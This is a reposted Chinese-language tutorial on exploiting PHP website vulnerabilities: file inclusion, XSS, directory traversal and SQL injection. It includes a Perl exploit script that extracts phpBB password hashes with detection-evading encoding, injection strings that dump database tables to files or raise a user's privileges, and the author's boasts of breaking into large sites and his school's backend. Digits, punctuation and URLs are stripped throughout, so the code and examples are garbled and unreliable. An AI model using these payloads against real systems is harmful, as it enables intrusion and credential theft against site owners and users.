熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> PHP編程 >> 正文

PHP網站漏洞的相關總結

2013-11-15 12:22:31  來源: PHP編程 

  從現在的網絡安全來看大家最關注和接觸最多的WEB頁面漏洞應該是ASP了在這方面小竹是專家我沒發言權然而在PHP方面來看也同樣存在很嚴重的安全問題但是這方面的文章卻不多在這裡就跟大家來稍微的討論一下PHP頁面的相關漏洞吧
  
  我對目前常見的PHP漏洞做了一下總結大致分為以下幾種:包含文件漏洞腳本命令執行漏洞文件洩露漏洞SQL注入漏洞等幾種當然至於COOKIE欺騙等一部分通用的技術就不在這裡討論了這些資料網上也很多那麼我們就一個一個來分析一下怎樣利用這些漏洞吧!
  
  首先我們來討論包含文件漏洞這個漏洞應該說是PHP獨有的吧這是由於不充分處理外部提供的惡意數據從而導致遠程攻擊者可以利用這些漏洞以WEB進程權限在系統上執行任意命令我們來看一個例子:假設在aphp中有這樣一句代碼:
    include($include."/xxx.php");
  ?>
  在這段代碼中$include一般是一個已經設置好的路徑但是我們可以通過自己構造一個路徑來達到攻擊的目的比方說我們提交:aphp?include=這個web是我們用做攻擊的空間當然bphp也就是我們用來攻擊的代碼了我們可以在bphp中寫入類似於:passthru(/bin/ls /etc);的代碼這樣就可以執行一些有目的的攻擊了(注:web服務器應該不能執行php代碼不然就出問題了相關詳情可以去看<<如何對PHP程序中的常見漏洞進行攻擊>>)在這個漏洞方面出狀況的很多比方說:PayPal Store Front
  HotNewsMambo Open SourcePhpDigYABB SEphpBBInvisionBoardSOLMETRA SPAW EditorLes VisiteursPhpGedViewXCart等等一些
  
  接著我們再來看一下腳本命令執行漏洞這是由於對用戶提交的URI參數缺少充分過濾提交包含惡意HTML代碼的數據可導致觸發跨站腳本攻擊可能獲得目標用戶的敏感信息我們也舉個例子:在PHP Transparent的PHP PHP 以下版本中的indexphp頁面對PHPSESSID缺少充分的過濾我們可以通過這樣的代碼來達到攻擊的目的:
  ?PHPSESSID=>在script裡面我們可以構造函數來獲得用戶的一些敏感信息在這個漏洞方面相對要少一點除了PHP Transparent之外還有:PHPNukephpBBPHP ClassifiedsPHPixUltimate PHP Board等等
  
  再然後我們就來看看文件洩露漏洞了這種漏洞是由於對用戶提交參數缺少充分過濾遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取一些敏感信息我們拿最近發現的phpMyAdmin來做例子在phpMyAdmin中exportphp頁面沒有對用戶提交的what參數進行充分過濾遠程攻擊者提交包含多個/字符的數據便可繞過WEB ROOT限制以WEB權限查看系統上的任意文件信息比方說打入這樣一個地址:exportphp?what=//////etc/passwd% 就可以達到文件洩露的目的了在這方面相對多一點有:myPHPNukeMcNews等等
  
  最後我們又要回到最興奮的地方了想想我們平時在asp頁面中用SQL注入有多麼爽以前還要手動注入一直到小竹悟出SQL注入密笈(嘿嘿)然後再開做出NBSI以後我們NB聯盟真是拉出一片天空曾先後幫CSDN大富翁論壇中國頻道等大型網站找出漏洞(這些廢話不多說了有點跑題了)還是言規正傳其實在asp中SQL的注入和php中的SQL注入大致相同只不過稍微注意一下用的幾個函數就好了將asc改成ASCIIlen改成LENGTH其他函數基本不變了其實大家看到PHP的SQL注入是不是都會想到PHPNUKE和PHPBB呢?不錯俗話說樹大招分像動網這樣的論壇在asp界就該是漏洞這王了這並不是說它的論壇安全太差而是名氣太響別人用的多了研究的人也就多了發現的安全漏洞也就越多了PHPBB也是一樣的現在很大一部分人用PHP做論壇的話一般都是選擇了PHPBB它的漏洞也是一直在出從最早 phpBB 版本被人發現漏洞到現在最近的phpBB 版本的groupcpphp以及之前發現的searchphpprofilephpviewtopicphp等等加起來大概也有十來個樣子吧這也一直導致一部分人在研究php漏洞的時候都會拿它做實驗品所謂百練成精嘛相信以後的PHPBB會越來越好
  
  好了我們還是來分析一下漏洞產生的原因吧拿viewtopicphp頁面來說由於在調用viewtopicphp時直接從GET請求中獲得topic_id並傳遞給SQL查詢命令而並沒有進行一些過濾的處理攻擊者可以提交特殊的SQL字符串用於獲得MD密碼獲得此密碼信息可以用於自動登錄或者進行暴力破解(我想應該不會有人想去暴力破解吧除非有特別重要的原因)先看一下相關源代碼:
  #    if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
  #    {
  #       $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
  #    }
  #    else if ( isset($HTTP_GET_VARS[topic]) )
  #    {
  #       $topic_id = intval($HTTP_GET_VARS[topic]);
  #    }
  從上面我們可以看出如果提交的view=newest並且sid設置了值的話執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話建議你看了再對著這裡來看受影響系統為:phpBB 和phpBB )
  #        $sql = SELECT ppost_id
  #        FROM POSTS_TABLE p SESSIONS_TABLE s  USERS_TABLE u
  #        WHERE ssession_id = $session_id
  #         AND uuser_id = ssession_user_id
  #         AND ptopic_id = $topic_id
  #         AND ppost_time >= uuser_lastvisit
  #        ORDER BY ppost_time ASC
  #        LIMIT ;
  Rick提供了下面的這斷測試代碼:
  use IO::Socket;
  $remote = shift || localhost;
  $view_topic = shift || /phpBB/viewtopicphp;
  $uid = shift || ;
  $port = ;
  $dbtype = mysql;   # mysql or pgsql
  print Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n;
  $p = ;
  for($index=; $index<=; $index++)
  {
  $socket = IO::Socket::INET>new(PeerAddr => $remote
  PeerPort => $port
  Proto => tcp
  Type => SOCK_STREAM)
  or die Couldnt connect to $remote:$port : $@\n;
  $str = GET $view_topic ?sid=&topic_id=  random_encode(make_dbsql())  &view=newest HTTP/\n\n;
  print $socket $str;
  print $socket Cookie: phpBBmysql_sid=\n;  # replace this for pgsql or remove it
  print $socket Host: $remote\n\n;
  while ($answer = <$socket>)
  {
  if ($answer =~ /location:*\x(\d+)/) # Matches the location: viewtopicphp?p=#
  {
  $p = chr ();
  }
  }
  close($socket);
  }
  print \nMD Hash for uid $uid is $p\n;
  # random encode str helps avoid detection
  sub random_encode
  {
  $str = shift;
  $ret = ;
  for($i=; $i  {
  $c = substr($str$i);
  $j = rand length($str) * ;
  
  
  if (int($j) % || $c eq )
  {
  $ret = % sprintf(%xord($c));
  }
  else
  {
  $ret = $c;
  }
  }
  return $ret;
  }
  sub make_dbsql
  {
  if ($dbtype eq mysql)
  {
  return union select ord(substring(user_password $index )) from phpbb_users where user_id=$uid/* ;
  } elsif ($dbtype eq pgsql)
  {
  return ; select ascii(substring(user_password from $index for )) as post_id from phpbb_posts p phpbb_users u where uuser_id=$uid or false;
  }
  else
  {
  return ;
  }
  }
  這段代碼我就不多做解釋了作用是獲得HASH值
  
  看到這裡大家可能有點疑問為什麼我前面講的那些改的函數怎麼沒有用到我講出來不怕大家笑話:其實網上很多站點有些頁面的查詢語句看起來會是這樣:
  displayphp?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
  不要笑這是真的我還靠這個進過幾個大型網站至於哪一些不好講出來不過我們學校的網站我就是靠這個進後台的(希望學校網絡中心的看不到這篇文章^_^)把前面那函數用上吧不然你只有改人家的密碼了哦!!!
  
  差點忘了一點在SQL注入的時候PHP與ASP有所不同mysql對sql語句的運用沒有mssql靈活因此很多在mssql上可以用的查詢語句在mysql數據庫中都不能奏效了 一般我們常見的注入語句像這樣:aaaphp?id=a into outfile passtxt或是aaaphp?id=a into outfile passtxt /*再進一步可以改成:aaaphp?id=a or = union select idnamepassword form users into outfile c:/atxt
  這樣可以將數據庫數據導出為文件然後可以查看
  或是這樣:mode=user_level=
  這個語句一般用在修改資料時假設頁面存在漏洞的話就可以達到提升權限的做用
  其它的如 OR = 或者: or =則跟asp差不多這裡不多講了在php裡面SQL注入看來還是漏洞之首啊有太多的頁面存在這個問題了
  
  其實大家可以看出來上面那些分類歸根結底只有一個原因:提交參數沒過濾或是過濾不夠嚴謹黑客防線
From:http://tw.wingwit.com/Article/program/PHP/201311/20836.html
  • 上一篇文章:

  • 下一篇文章:
  • 推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.